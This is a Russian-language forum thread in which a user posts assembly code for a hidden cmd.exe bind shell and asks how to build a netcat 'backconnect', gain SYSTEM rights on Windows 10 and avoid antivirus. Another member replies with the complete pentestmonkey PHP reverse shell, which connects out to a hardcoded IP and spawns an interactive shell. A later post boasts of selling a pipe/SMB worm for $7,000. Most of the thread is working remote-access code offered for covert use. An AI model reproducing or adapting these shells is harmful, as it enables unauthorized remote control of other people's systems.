cmd с backconnect

Тема в разделе "WASM.BEGINNERS", создана пользователем Orbit, 6 май 2017.

  1. Orbit

    Orbit Member

    Публикаций:
    0
    Регистрация:
    13 дек 2016
    Сообщения:
    112
    Адрес:
    г. Москва
    Добрый вечер!
    Давно начал писать на fasm 64 программу, до самого бекконнекта не дошол, то винду переставить то форум закрыт...
    В общем буду переписывать код вот этой всем известной программы на fasm и хочу добавить плюшки
    По какому принцапу реализуется соединение с netcat? По порядку функции если можно назовите

    Код (Text):
    1.  
    2. ShellClient proto :dword
    3. Shelld proto :dword
    4. SHELL_SERVER struct
    5.   dwsocket  dd ?
    6.   dwport  dd ?
    7.   bsync  db ?
    8. SHELL_SERVER ends
    9. .code
    10. ShellClient proc dwSock:dword
    11. local sat:SECURITY_ATTRIBUTES
    12. local hiRead:dword
    13. local hoRead:dword
    14. local hiWrite:dword
    15. local hoWrite:dword
    16. local startupinfo:STARTUPINFO
    17. local processinfo:PROCESS_INFORMATION
    18. local exitcode:dword
    19. local buffer[1024]:byte
    20. local bytes:dword
    21. local available:dword
    22. local data:dword
    23. mov sat.nLength, sizeof SECURITY_ATTRIBUTES
    24. mov sat.lpSecurityDescriptor, 0
    25. mov sat.bInheritHandle, TRUE
    26. invoke CreatePipe, addr hiRead, addr hiWrite, addr sat, 0
    27. invoke CreatePipe, addr hoRead, addr hoWrite, addr sat, 0
    28. invoke GetStartupInfo, addr startupinfo
    29. mov startupinfo.cb, sizeof STARTUPINFO
    30. mov eax, hoWrite
    31. mov startupinfo.hStdOutput, eax
    32. mov startupinfo.hStdError, eax
    33. mov eax, hiRead
    34. mov startupinfo.hStdInput, eax
    35. mov startupinfo.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
    36. mov startupinfo.wShowWindow, SW_HIDE
    37. invoke CreateProcess, 0, addr szCommandLine, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, addr startupinfo, addr processinfo
    38. invoke CloseHandle, hoWrite
    39. invoke CloseHandle, hiRead
    40. mov bytes, 1
    41. invoke ioctlsocket, dwSock, FIONBIO, addr bytes
    42. invoke send, dwSock, addr szBanner, sizeof szBanner, 0
    43. .while TRUE
    44.   invoke Sleep, 1
    45.   invoke GetExitCodeProcess, processinfo.hProcess, addr exitcode
    46.   .if exitcode != STILL_ACTIVE
    47.   .break
    48.   .endif
    49.   invoke PeekNamedPipe, hoRead, addr buffer, 1024, addr bytes, addr available, 0
    50.   .if bytes != 0
    51.   .if available > 1024
    52.   .while bytes >= 1024
    53.   invoke Sleep, 1
    54.   invoke ReadFile, hoRead, addr buffer, 1024, addr bytes, 0
    55.   .if bytes != 0
    56.   invoke send, dwSock, addr buffer, bytes, 0
    57.   .endif
    58.   .endw  
    59.   .else
    60.   invoke ReadFile, hoRead, addr buffer, 1024, addr bytes, 0
    61.   .if bytes != 0
    62.   invoke send, dwSock, addr buffer, bytes, 0
    63.   .endif
    64.   .endif  
    65.   .endif  
    66. @@:
    67.   invoke recv, dwSock, addr buffer, 1024, 0
    68.   .if eax == SOCKET_ERROR || eax == 0
    69.   invoke WSAGetLastError
    70.   .if eax == WSAEWOULDBLOCK
    71.   .continue
    72.   .else
    73.   invoke TerminateProcess, processinfo.hProcess, 0
    74.   .break
    75.   .endif  
    76.   .else
    77.   mov edx, eax
    78.   invoke WriteFile, hiWrite, addr buffer, edx, addr bytes, 0
    79.   .endif
    80. .endw
    81. invoke CloseHandle, hiWrite
    82. invoke CloseHandle, hoRead
    83. invoke closesocket, dwSock
    84. ret
    85. ShellClient endp
    86. Shelld proc lpParam:dword
    87. local shelld:SHELL_SERVER
    88. local SockAddrIn:sockaddr_in
    89. local dwSock:dword
    90. local dwMode:dword
    91. invoke CopyMemory, addr shelld, lpParam, sizeof shelld
    92. invoke socket, PF_INET, SOCK_STREAM, 0
    93. mov dwSock, eax
    94. mov eax, lpParam
    95. assume eax:ptr HTTP_SERVER
    96. mov ecx, dwSock
    97. mov [eax].dwsocket, ecx
    98. mov [eax].bsync, 1
    99. assume eax:nothing
    100. mov SockAddrIn.sin_family, AF_INET
    101. invoke htons, shelld.dwport
    102. mov SockAddrIn.sin_port, ax
    103. mov SockAddrIn.sin_addr, INADDR_ANY
    104. invoke bind, dwSock, addr SockAddrIn, sizeof SockAddrIn
    105. mov dwMode, 1
    106. invoke ioctlsocket, dwSock, FIONBIO, addr dwMode
    107. invoke listen, dwSock, SOMAXCONN
    108. @@:
    109. invoke accept, dwSock, addr SockAddrIn, 0
    110. .if eax != INVALID_SOCKET
    111.   mov edx, eax
    112.   invoke CreateThread, 0, 0, addr ShellClient, edx, 0, 0
    113.   invoke CloseHandle, eax
    114. .endif
    115. invoke Sleep, 1000
    116. jmp @B
    117. ret
    118. Shelld endp
    119.  
     
  2. Orbit

    Orbit Member

    Публикаций:
    0
    Регистрация:
    13 дек 2016
    Сообщения:
    112
    Адрес:
    г. Москва
    И еще такой вопросик. Может не совсем по теме, как получить права SYSTEM в Windows 10
    И стоит ли вообще делать бекконект или сделать обычный бинд, как к этому будут относится Windows Server и\или авири
     
  3. yashechka

    yashechka Ростовский фанат Нарвахи

    Публикаций:
    90
    Регистрация:
    2 янв 2012
    Сообщения:
    1.449
    Адрес:
    Россия
    [​IMG]










    Код (C):
    1. <?php
    2. // php-reverse-shell - A Reverse Shell implementation in PHP
    3. // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
    4. //
    5. // This tool may be used for legal purposes only.  Users take full responsibility
    6. // for any actions performed using this tool.  The author accepts no liability
    7. // for damage caused by this tool.  If these terms are not acceptable to you, then
    8. // do not use this tool.
    9. //
    10. // In all other respects the GPL version 2 applies:
    11. //
    12. // This program is free software; you can redistribute it and/or modify
    13. // it under the terms of the GNU General Public License version 2 as
    14. // published by the Free Software Foundation.
    15. //
    16. // This program is distributed in the hope that it will be useful,
    17. // but WITHOUT ANY WARRANTY; without even the implied warranty of
    18. // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    19. // GNU General Public License for more details.
    20. //
    21. // You should have received a copy of the GNU General Public License along
    22. // with this program; if not, write to the Free Software Foundation, Inc.,
    23. // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
    24. //
    25. // This tool may be used for legal purposes only.  Users take full responsibility
    26. // for any actions performed using this tool.  If these terms are not acceptable to
    27. // you, then do not use this tool.
    28. //
    29. // You are encouraged to send comments, improvements or suggestions to
    30. // me at pentestmonkey@pentestmonkey.net
    31. //
    32. // Description
    33. // -----------
    34. // This script will make an outbound TCP connection to a hardcoded IP and port.
    35. // The recipient will be given a shell running as the current user (apache normally).
    36. //
    37. // Limitations
    38. // -----------
    39. // proc_open and stream_set_blocking require PHP version 4.3+, or 5+
    40. // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
    41. // Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
    42. //
    43. // Usage
    44. // -----
    45. // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
    46.  
    47. set_time_limit (0);
    48. $VERSION = "1.0";
    49. $ip = '127.0.0.1';  // CHANGE THIS
    50. $port = 1234;       // CHANGE THIS
    51. $chunk_size = 1400;
    52. $write_a = null;
    53. $error_a = null;
    54. $shell = 'uname -a; w; id; /bin/sh -i';
    55. $daemon = 0;
    56. $debug = 0;
    57.  
    58. //
    59. // Daemonise ourself if possible to avoid zombies later
    60. //
    61.  
    62. // pcntl_fork is hardly ever available, but will allow us to daemonise
    63. // our php process and avoid zombies.  Worth a try...
    64. if (function_exists('pcntl_fork')) {
    65.     // Fork and have the parent process exit
    66.     $pid = pcntl_fork();
    67.    
    68.     if ($pid == -1) {
    69.         printit("ERROR: Can't fork");
    70.         exit(1);
    71.     }
    72.    
    73.     if ($pid) {
    74.         exit(0);  // Parent exits
    75.     }
    76.  
    77.     // Make the current process a session leader
    78.     // Will only succeed if we forked
    79.     if (posix_setsid() == -1) {
    80.         printit("Error: Can't setsid()");
    81.         exit(1);
    82.     }
    83.  
    84.     $daemon = 1;
    85. } else {
    86.     printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
    87. }
    88.  
    89. // Change to a safe directory
    90. chdir("/");
    91.  
    92. // Remove any umask we inherited
    93. umask(0);
    94.  
    95. //
    96. // Do the reverse shell...
    97. //
    98.  
    99. // Open reverse connection
    100. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    101. if (!$sock) {
    102.     printit("$errstr ($errno)");
    103.     exit(1);
    104. }
    105.  
    106. // Spawn shell process
    107. $descriptorspec = array(
    108.    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    109.    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    110.    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
    111. );
    112.  
    113. $process = proc_open($shell, $descriptorspec, $pipes);
    114.  
    115. if (!is_resource($process)) {
    116.     printit("ERROR: Can't spawn shell");
    117.     exit(1);
    118. }
    119.  
    120. // Set everything to non-blocking
    121. // Reason: Occsionally reads will block, even though stream_select tells us they won't
    122. stream_set_blocking($pipes[0], 0);
    123. stream_set_blocking($pipes[1], 0);
    124. stream_set_blocking($pipes[2], 0);
    125. stream_set_blocking($sock, 0);
    126.  
    127. printit("Successfully opened reverse shell to $ip:$port");
    128.  
    129. while (1) {
    130.     // Check for end of TCP connection
    131.     if (feof($sock)) {
    132.         printit("ERROR: Shell connection terminated");
    133.         break;
    134.     }
    135.  
    136.     // Check for end of STDOUT
    137.     if (feof($pipes[1])) {
    138.         printit("ERROR: Shell process terminated");
    139.         break;
    140.     }
    141.  
    142.     // Wait until a command is end down $sock, or some
    143.     // command output is available on STDOUT or STDERR
    144.     $read_a = array($sock, $pipes[1], $pipes[2]);
    145.     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    146.  
    147.     // If we can read from the TCP socket, send
    148.     // data to process's STDIN
    149.     if (in_array($sock, $read_a)) {
    150.         if ($debug) printit("SOCK READ");
    151.         $input = fread($sock, $chunk_size);
    152.         if ($debug) printit("SOCK: $input");
    153.         fwrite($pipes[0], $input);
    154.     }
    155.  
    156.     // If we can read from the process's STDOUT
    157.     // send data down tcp connection
    158.     if (in_array($pipes[1], $read_a)) {
    159.         if ($debug) printit("STDOUT READ");
    160.         $input = fread($pipes[1], $chunk_size);
    161.         if ($debug) printit("STDOUT: $input");
    162.         fwrite($sock, $input);
    163.     }
    164.  
    165.     // If we can read from the process's STDERR
    166.     // send data down tcp connection
    167.     if (in_array($pipes[2], $read_a)) {
    168.         if ($debug) printit("STDERR READ");
    169.         $input = fread($pipes[2], $chunk_size);
    170.         if ($debug) printit("STDERR: $input");
    171.         fwrite($sock, $input);
    172.     }
    173. }
    174.  
    175. fclose($sock);
    176. fclose($pipes[0]);
    177. fclose($pipes[1]);
    178. fclose($pipes[2]);
    179. proc_close($process);
    180.  
    181. // Like print, but does nothing if we've daemonised ourself
    182. // (I can't figure out how to redirect STDOUT like a proper daemon)
    183. function printit ($string) {
    184.     if (!$daemon) {
    185.         print "$string\n";
    186.     }
    187. }
    188.  
    189. ?>
     
  4. Orbit

    Orbit Member

    Публикаций:
    0
    Регистрация:
    13 дек 2016
    Сообщения:
    112
    Адрес:
    г. Москва
    Спасибо огромное! Думаю пригодится не только мне!
     
  5. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    701
    А нахрена через пайпы все это проще делается .. перенаправить стдин и стдаут у критпроцесса и все
     
  6. Orbit

    Orbit Member

    Публикаций:
    0
    Регистрация:
    13 дек 2016
    Сообщения:
    112
    Адрес:
    г. Москва
    Можете накидать поподробней
     
  7. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    701
    ох есл найду дома сорс выложу
     
  8. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Да я товарищь sl0n, могу червя выложить через пайпы и SMB, да толку? Мне ребята 7к $ за него закинули и пропали
    а потом за фигнюшки деанонят/обвиняют
     
    yashechka нравится это.
  9. yashechka

    yashechka Ростовский фанат Нарвахи

    Публикаций:
    90
    Регистрация:
    2 янв 2012
    Сообщения:
    1.449
    Адрес:
    Россия
    Теперь я знаю кто автор Wanna decryptor